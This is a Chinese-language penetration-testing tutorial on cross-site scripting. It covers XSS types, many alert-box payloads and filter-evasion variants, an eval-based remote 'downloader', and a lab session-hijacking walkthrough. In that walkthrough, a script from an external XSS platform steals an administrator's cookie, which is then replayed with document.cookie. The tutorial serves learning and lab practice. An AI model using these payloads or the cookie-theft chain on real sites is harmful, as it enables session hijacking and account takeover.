渗透测试--xss

作者:

锦凡歆在 ‘来疯’ 直播唱歌最好听

 

 

跨站脚本攻击

XSS 漏洞概述

- 简介

XSS 作为OWASP TOP 10 之一,

XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS 攻击的“想象”空间特别大。

XSS 通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器。

XSS 涉及到三方

@ 用户浏览器

@ 服务器

@ 攻击者

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。

- XSS 危害

XSS 利用JS 代码实现攻击,有很多中攻击方法,一下简单列出几种

@ 盗取各种用户账号 例如:弹出一个对话框,让用输入账号和密码。某游戏公司出现过xss漏洞,当输入账号和密码时,账号密码就会被盗。

@ 窃取用户Cookie资料,冒充用户身份进入网站

@ 劫持用户会话,执行任意操作

@ 刷流量,执行弹窗广告 例如:js也可以发送HTML5请求。

@ 传播蠕虫病毒

等等

- XSS 漏洞的验证

我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。验证XSS 漏洞存在的PoC 如下

-----------------------------------------------------------

<script>alert(/xss/)</script> 常用

<script>confirm('xss')</script>

<script>prompt('xss')</script>

-----------------------------------------------------------

我们可以在测试页面中提交这样的代码

点击提交按钮,就能看到弹窗操作。

我们发现,提交的代码[<script>alert(/xss/)</script>],被当作字符串输出在HTML 页面中,浏览器会根据[<script>] 标签识别为JS 语句,并会执行它,执行弹窗操作。也就是说,可以执行其他JS 代码,因此我们验证了XSS 漏洞的存在性。。

 

XSS 的分类

XSS 漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM 型XSS。

- 反射型XSS

反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。

在搜索框中,提交PoC[<script>alert(/xss/)</script>],点击搜索,即可触发反射型XSS。

 

注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。

 

 

作者:

锦凡歆在 ‘来疯’ 直播唱歌最好听

 

 

 

- 存储型XSS

存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。

存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。

 

此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。

- DOM XSS

DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。如下面的例子

 

我们以锚点的方式提交PoC。PoC 并不会发送的服务器,但是已经触发了XSS。查看当前页面的源代码如下

 

查看提交参数后的HTML 页面(DOM 树),会形成鲜明的对比,如下。

-----------------------------------

XSS 的构造和变形非常丰富

XSS 利用JS 代码实现攻击,JS 运行环境是浏览器,也属于前端安全。

一句JS 代码的效果受到浏览器款式和版本的限制比较多。

-----------------------------------

 

 

 

XSS 的构造

- 利用[<>]构造HTML/JS

可以利用[<>] 构造HTML 标签和<script> 标签。

在测试页面提交参数[<h1 style='color:red'>利用[<>]构造HTML/JS</h1>]

 

躲避闭合

例如 逃出文本域</textarea><script>(/xss/)</script><textarea>

 

提交[<script>alert(/xss/)</script>]

 

- 伪协议

也可以使用javascript: 伪协议的方式构造XSS

提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发XSS。

 

也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。[<img src="javascript:alert('xss')">]

 

- 产生自己的事件(触发下载事件)

“事件驱动”是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。

事件种类(www.w3c.com.cn)

windows 事件 对windows 对象触发的事件

Form 事件 HTML 表单内的动作触发事件

Keyboard 事件 键盘按键

Mouse 事件 由鼠标或类似用户动作触发的事件

Media 事件 由多媒体触发的事件

 

 

如,

[<img src='./smile.jpg' οnmοuseοver='alert(/xss/)'>]

onmouseover 表示当鼠标悬停时触发事件

这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码。

 

单行文本框的键盘点击事件,[<input type="text" οnkeydοwn="alert(/xss/)">],当点击键盘任意一个按键的时候出发。

onkeydown 当按键按下,触发时间。

 

- 利用CSS 跨站 IE6下运行

我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。一下代码均在IE6 下测试。

@ 行内样式

[<div style="background-image:url(javascript:alert(/xss/))">]

 

@ 页内样式

[

<style>

div{

background-image:url(javascript:alert(/xss/))

}

 

background-image:背景图片

后面可以接url

</style>

<div>lalalla</div>

]

@ 外部样式

[

<link rel="stylesheet" type="text/css" href="http://172.18.1.131/xss.css">

<div>hello<div>

]

当你访问服务器时,xss攻击代码,可以放在服务器上。可以使用{href="http://./xss.css"}相对路径。也可以使用{herf="http://172.168.18.129/xss.css"}绝对路径。

当你访问服务器时,xss攻击代码,可以放在本地路径,例如 {herf="http:192.168.1.131/xss.css"}这样可以证明跨域访问是可以的(不受同源策略影响)

 

xss.css 文件内容如下

-----------------------------------------------------------------

h1 {

color:red;

}

div {

/*width:expression(alert(/xss/))*/

background-image:url(javascript:alert(/xss/))

}

-----------------------------------------------------------------

 

@ expression

[<div style="width:expression(alert(/xss/))">]

expression:会一直触发xss语句

 

[

<style>Body{background-image:expression(alert(/xss/));}</style>

]

@ import

<style>@import 'javascript:alert("xss")';</style>

]

import:通过import导入一段js代码

 

[<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]

- 其他标签以及手法

我们也可以用其他标签触发XSS。

[

<svg οnlοad="alert(/xss/)">

] 这个语句还是比较简洁的。

svg:HTML5的标准;

svg 文件可以通过以下标签嵌入HTML文档:<embed>、<objet>或者<iframe>.

onload 加载

 

[<input οnfοcus=alert(/xss/) autofocus>]

onfocus 事件在对象获得焦点时发生

XSS 的变形

如果焦点在input上自动触发xss

onfocus:焦点

autofocus:自动

 

 

 

我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种

- 大小写转换

程序员如果忘记区分大小写时,我们可以绕过过滤。

可以将payload 进行大小写转化。如下面两个例子。

<Img sRc='#' Onerror="alert(/xss/)" />

没办法载入这张图片,就会

 

img html语言可以修改大小写。

alert javascrip语言不可以修改大小写

windos 大小写不敏感

linux 大小写敏感

 

<a hREf="javaScript:alert(/xss/)">click me</a>

<a>标签 必须有内容,没有内容,显示不出来

 

- 引号的使用(php有一个函数专门用来过滤单引号双引号。默认配置只过滤双引号,不过滤单引号。或者设置。)

HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。

<img src="#" οnerrοr="alert(/xss/)"/>

<img src='#' οnerrοr='alert(/xss/)'/>

<img src=# οnerrοr=alert(/xss/) />

onerror事件:事件会在文档或图像加载过程中发生错误时被触发。在装载过程文档图像的过程中如果发生了错误,就会调用该事件句柄。

 

 

- [/]代替空格

可以利用左斜线代替空格

<Img/sRc='#'/Onerror='alert(/xss/)' />

/:只能放在标签的名字和属性之间,属性与属性之间。

- tab 与回车

我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。

<Img/sRc='#'/Onerror ='alert(/xss/)' />

这里利用到了大小写、空格,tab,

属性里不可以回车和空格拆分。

alert也不可以进行回车和拆分。

 

 

<A hREf="j a

v

a

s

c

r

i

p

t:alert(/xss/)">click me!</a>

这里用到tab和回车逃避检测关键字

<A hREf="j

avascript:alert(/xss/)">click me!</a>

 

- 对标签属性值进行转码

可以对标签属性值进行转码,用来绕过过滤。

对应编码如下

字母 ASCII 码 十进制编码 十六进制编码

a 97 &#97; &#x61;

e 101 &#101; &#x65;

 

经过简单编码之后的样子。

<A hREf="j &#97;v&#x61;script:alert(/xss/)">click me!</a>

 

另外,我们可以将以下字符插入到任意位置

Tab &#9

换行 &#10

回车 &#13

 

可以将以下字符插入到头部位置

SOH &#01

STX &#02

经过编码后的样子。

<A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">

click me!

</a>

------------------------------------------------------

- 拆分跨站(在输入框中用字数限制,可以拆分输入)

<script>z='alert'</script> 定义一个变量z等于alert

<script>z=z+'(/xss/)'</script> 重新定义z等于z+(/xss/). +:字符串连接符

<script>eval(z)</script> eval这个函数,会把字符串当作脚本运行。中国菜刀的原理

 

<script>alert(/xss/)</script>

 

- CSS 中的变形

@ 使用全角字符

width:expression(alert(/xss/))

 

@ 注释会被浏览器忽略

width:expr/*~*/ession(alert(/x~s~s/))

 

@ 样式表中的[\] 和[\0]

<style>@import 'javasc\ri\0pt:alert("xss")';</style>

 

Shellcode 的调用

Shellcode 就是在利用漏洞所执行的代码。

完整的XSS 攻击,会将Shellcode 存放在一定的地方,然后触发漏洞,调用Shellcode。

- 远程调用JS

可以将JS 代码单独放在一个js 文件中,然后通过http 协议远程加载该脚本。如[<script src="http://localhost/XSS-TEST/normal/xss.js"></script>] ,这是比较常用的方式。XSS.js 的内容如下。

-----------------------------------------------------------------

alert('xss.js');

-----------------------------------------------------------------

 

- windows.location.hash

我们也可以使用js 中的windows.location.hash 方法获取浏览器URL 地址栏的XSS 代码。

windows.location.hash 会获取URL 中# 后面的内容,例如[http://domain.com/index.php#AJEST],windows.location.hash 的值就[#AJEST]。

所以我们可以构造如下代码[?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php。

- XSS Downloader

XSS 下载器就是将XSS 代码写到网页中,然后通过AJAX 技术,取得网页中的XSS代码。

在使用XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php,内容如下

-----------------------------------------------------------------

~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~~

-----------------------------------------------------------------

常见的下载器代码如下

-----------------------------------------------------------------

<script>

function XSS(){

if (window.XMLHttpRequest) {

a = new XMLHttpRequest(); //针对主流浏览器

} else if (window.ActiveXObject) {

a = new ActiveXObject("Microsoft.XMLHTTP"); //针对IE浏览器

} else {return;}

a.open('get','http://192.168.1.1/XSS-TEST/normal/xss_downloader.php ',false); //a.open:打开链接。 get:用get方式打开连接。

a.send(); //a.send():去发送http请求。

b=a.responseText; //将响应的正文赋值给变量B。

eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}

XSS(); //unescape:解码(因为HTTP请求有一个编码过程)。 substring:字符串截取函数。括号里面是截取的位置从哪里到哪里。

</script>

-----------------------------------------------------------------

 

AJAX 技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容。

-----------------------------------------------------------------

<?php

header('Access-Control-Allow-Origin: *');

header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');

-----------------------------------------------------------------

- 备选存储技术

我们可以把Shellcode 存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。

 

点击Cookie-XSS 验证,产生如下效果。

 

XSS 通关挑战

- 简介

XSS 通关挑战是一个练习XSS 绕过和展示各种XSS 场景的靶机环境。首页如下。

 

这里我们只需要点击图片即可开始挑战。

- 题解

用我们之间讲过的内容,可以过大部分关卡。这里推荐另一个XSS 挑战,也比较有意思。[http://xss-quiz.int21h.jp]

实战:Session 劫持

Session 劫持也叫会话劫持。本实战中的会话劫持就是利用XSS 漏洞获取网站后台管理员的身份凭证(会话ID),然后欺骗服务器登入网站后台。

- XSS 平台的使用

我们在窃取浏览器Cookie 时候需要借助XSS 平台,网址是[http://xsspt.com/index.php?do=login],但是建议自己搭建XSS 平台。注册账号后即可登录。

这里我们可以创建一个项目,然后选择相关模块,也可以自定义代码。

<script src=http://xsspt.com/nL8sIp?1541557643></script>

 

访问<script> 标签中的连接,就可以得到一个js 脚本。

payload

[<script src=http://xsspt.com/1klaAA?1536811820></script>]

 

- Cookie 窃取

将payload 提交到cms 的留言板位置。

 

留言需要管理员在网站后台审核。

当管理员登录网站后台审核留言时,即可触发XSS 代码。

 

回到XSS 平台,查看xss 项目,我们会得到管理员的身份凭证(会话ID、Cookie 信息)。

 

Cookie 信息如下。

-----------------------------------------------------------

cookie :

username=admin;

userid=1;

PHPSESSID=tavc1oulq3afiga1i89gdeq331

-----------------------------------------------------------

- Cookie 欺骗

重新来到网站后台,由于我们没有网站后台的管理员用户名和密码,所以当访问[http://192.168.1.1/cms/admin/]的时候会跳到登录页面。此时我们可以将获取的Cookie 信息写入浏览器。代码如下

-----------------------------------------------------------

document.cookie="username=admin";

document.cookie="userid=1";

document.cookie="PHPSESSID=tavc1oulq3afiga1i89gdeq331";

-----------------------------------------------------------

 

直接访问连接[http://192.168.1.1/cms/admin/],即可进入网站后台。

参考

XSS 案例

https://www.anquanke.com/post/id/86585

DOM XSS

https://www.owasp.org/index.php/DOM_Based_XSS

AJAX 跨域解决方案

http://app.epoint.com.cn/doc.web.crossPlatformGroup/html/ajax/doc_ajax_crossDomain.html

XSS 挑战

http://xss-quiz.int21h.jp

----------------------------------------

 


 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值